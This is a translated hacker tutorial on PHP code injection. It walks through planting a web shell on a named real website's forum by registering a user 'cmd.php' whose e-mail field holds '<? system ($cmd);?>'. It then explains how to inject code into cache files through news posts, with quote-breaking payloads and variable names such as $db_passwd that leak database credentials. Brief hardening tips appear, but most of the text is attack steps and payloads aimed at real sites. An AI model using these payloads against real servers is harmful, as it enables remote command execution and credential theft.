Continuing a theme of analysing web applications, it would be desirable to elaborate a little more on php-inj vulnerabilities. Many consider that php-inj is covered completely with the banal include(). Not so in the slightest way. Therefore in this article I'd like to take a closer look on a few more examples of php-inj I dealt with. Firstly, let's decide on what this php-inj actually is all about. It isn't about meddling your own php-code in someone else's script. Right? Right. Well then let's get started with an introduction. Example № 1: The given vulnerability is usually to be found in old text forums, different cacheing engines and in short in any other scripts using text files as means of storing the information. Let's proceed to a particular example at once and using this example we'll examine this version of the php-inj http: // www.spartak.rt.ru/ - this one is going to be our "guinea pig". First things first, a small request: do not kill this site. I suppose there's going to be many generations to use this site for learning purposes yet =))) Leave it alone, let it live. Though, do believe me, there's a whole lot of the similar ones. Let's proceed to the board on this site at once ignoring what it has in there and the banal php-inj upon displaying the content pages =) Everyone go here http: // www.spartak.rt.ru/board/ looks like a usual forum, had a look at it enough? Now then we're going to register at here: http: // www.spartak.rt.ru/board/register.php/ What's the use of it? I'll explain. As it turned out to be after the examination, the forum creates a file in the following directory: /board/users/ upon registration where the file's name is actually member's login, and its content is his login, password and e-mail. Moreover the e-mail doesn't get checked on its validity. If someone still hasn't quite caught the drift - the creators of the forum offer us a shell themselves =) For free, so to say. As login we input "cmd.php" and whatever else as password and " <? system ($cmd);?> " as e-mail. Then we check, http: // www.spartak.rt.ru/board/users/cmd.php there is such a thing there. But then quite a disappointment awaits for us, system () refused to work, but it is not important already, we have just been convinced that the forum allows us to upload any files of any extension to the site and it is quite something already, isn't it? For instance, it is possible to use the very same copy () and to receive http: // www.spartak.rt.ru/board/rem.php =))) But it is already a side-effect. Well, let's repeat it thanks to that we have an opportunity to create any kind of files. On registering every new user the script of the forum creates a new file in its directory (in our case it is /board/users/) where it puts the member's login in the name of the file and as contents of the file it openly writes down all the data about that member. And neither the name of the user nor all the data about him aren't filtered into tags and special symbols beforehand. I know, that lots of you are the beginners in web-development too and most certainly there are those among you who work with textuals because not everyone there has enough money for a hosting with sql. And when I was only beginning sql was totally a rare sight. And that's exactly why let us also consider the safety precautions from such type of attacks. Well here everything is very clear and obvious. If you both create a file and use it as a name - then add some sort of extension to it. For example like I did in my times back then adding an "ahs" extension (anti hack system =)))) and all the inner contents filter for special symbols. It will be enough. But at the same time if you set such an extension to a file, it will be available for viewing it by browser. Here's an example: http: // www.spartak.rt.ru/board/users/spartak. Therefore it will be worthwhile to kick in .htaccess here with a line " deny from all " and then it will be possible to have a nice night's rest. [offtop] Namely, there once was an internet-shop with a similar registration system, but however it made all the contents of a file base64_encode () clear. When I opened it with a browser I kind of got numb and dumb for a while from what I saw there. = ) Then without any second thoughts I executed base64_decode (" <? system ($cmd);?> "); locally and proceeded with the registration again =) [/offtop] Example № 2: And this here type of bug is encountered more often on different kinds of cacheing systems like "smarty" for instance. But the smarty itself, as far as I remember is protected against such kinds of attacks though I did not check it out myself, so it may be possible that I am mistaken. Well anyways, let us keep to the point. Here I can't give out any examples unfortunately because I haven't got to encounter with such sites yet (because I did not look for them but believe me on this, they are possible to find) therefore we shall manage here with only the theory. I have found the given vulnerability when writing my cacheing system for one of the projects. What is "cacheing" and what is it needed for generally speaking? When you write scripts for a site attended by no more than 10 000 hosts, in general it is not necessary but when you write scripts in order to work with a huge database which is daily used by 20 000-30 000 unique visitors, well here is where problems start to arise. The database doesn't have enough time to process all the inquiries and overfloods the operating memory, and in the meantime the apache falls down =) When the optimization of such sites comes in question, first of all the cacheing system is written (or the pre-made one is used, but one's own is always better, right?). For example you are the owner of some news site and the visitors keep looking through the same news a lot which in its turn is stored in the database. Why need to address the database every single time? It is easier to make its cache and throw it somewhere on a disk and to upload the specific file already instead of connecting to a database. Indeed such a system provides quite a big economy of resources, but once again it is a potential vulnerability. Well, finally let's get started! =))) There are too many articles in Internet dedicated to the description of caches and the majority of them describes only one level of a cache, the one by means of the php function ob_start () and so on. I'll not be going to elaborate onto this, I will only tell that all the generated html code between its beginning and its end is saved into a variable which then already gets placed in a file. That is the algorythm is approximately like this. Upon viewing the specific piece of news the script checks whether there is a cache of this page. If it is affirmative, it then simply includes a file of a cache and that is all. If it is negative, it connects to a database, gets the piece of news out of there, generates its html code and writes it to a file. Moreover the name of a file most often occurs to be something like an md5 ($ _SERVER [' REQUEST_URI ']) of sorts, that is, the md5 of the hash address of the given piece of news. That means that in this case it will not be possible for us to start up a file directly from a browser, but what for in any case, when in fact the script of the engine will get it included =))) Let us presume that it is going to be some news portal where the users will be able to write their own news. You then register there and write some news. Well you keep and keep on writing and then suddenly out of the blue BUMP! <? system ($cmd);?> =))) We have a look at our news - nothing unusual there. And that is correct, it is taken from the database for the very first time after all. We press F5 and there we have a shell. But it is a rare case since on the portals of such level they at least process all the text with htmlspecialchars () =) But who knows? =) Everything is not lost yet. With this level it will be all unfortunately, but there is yet one more way of cacheing. It is the way of writing not the html code in a file, but the variables. That means when the news is titled "test", has the text " the First news " and the date "2005-12-05" and not the generated html-code is written to a file but the names and the values of variables, that is, for example: <? $news_name = "test"; $news_name = " the first news "; $news_name = "2005-12-05"; ?> And at the construction of the html code of a page of those news this exact file is uploaded and the variables are used thus enabling us to get on with certain something here =) First of all, we can bypass the quotation mark here, let's suppose there was some news there with some text like: "Today I was walking along the puddles when suddenly"; system ($cmd); echo " then we will get a file looking like this: <? $news_name = "test"; $news_name = " Today I was walking along the puddles when suddenly "; system ($cmd); echo " "; $news_name = "2005-12-05"; ?> And upon uploading a cache we have a shell. But here most certainly the programmers aren't dummies at all too and they will at least filter the quotation marks. Well yes, it is somewhat hard to forget to filter the quotation marks indeed but the thing which we are going to talk further along about is already more possible to implement and most likely, is encountered more often. Have a closer look at the examples of the cache files I wrote down here. The values are assigned to variables in doubled quotation marks. What does it mean? We write one more news with the text " I very much like potatoes, and also $db_passwd, $db_login, $db_host, $passwd, $admin... " and a whole load of other variables and as a result we receive a file of a cache of this type: <? $news_name = "test"; $news_name = " I very much like potatoes, and also $db_passwd, $db_login, $db_host, $passwd, $admin... "; $news_name = "2005-12-05"; ?> Upon uploading a cache we will see on the page of our news the values of these variables, if they exist. Not really that much, certainly, but it will still give you lots of useful information anyway if you investigate a site and are not in the position to give up easily. Well and in order to be protected from such a thing, it is enough to replace the double quotation mark with a single one. The given type of the php-inj I hereby described only based on my guesses about such vulnerabilities, so here it is only the theory, but theoretically it all should work = ))) It's currently beyond my strength to describe the other examples, so keep studying these two for the time being, maybe I'll write down a few more examples some time soon but that will be all for now. TRANSLATION BY DRAGGY ORIGINAL ARTICLE BY: TRINUX
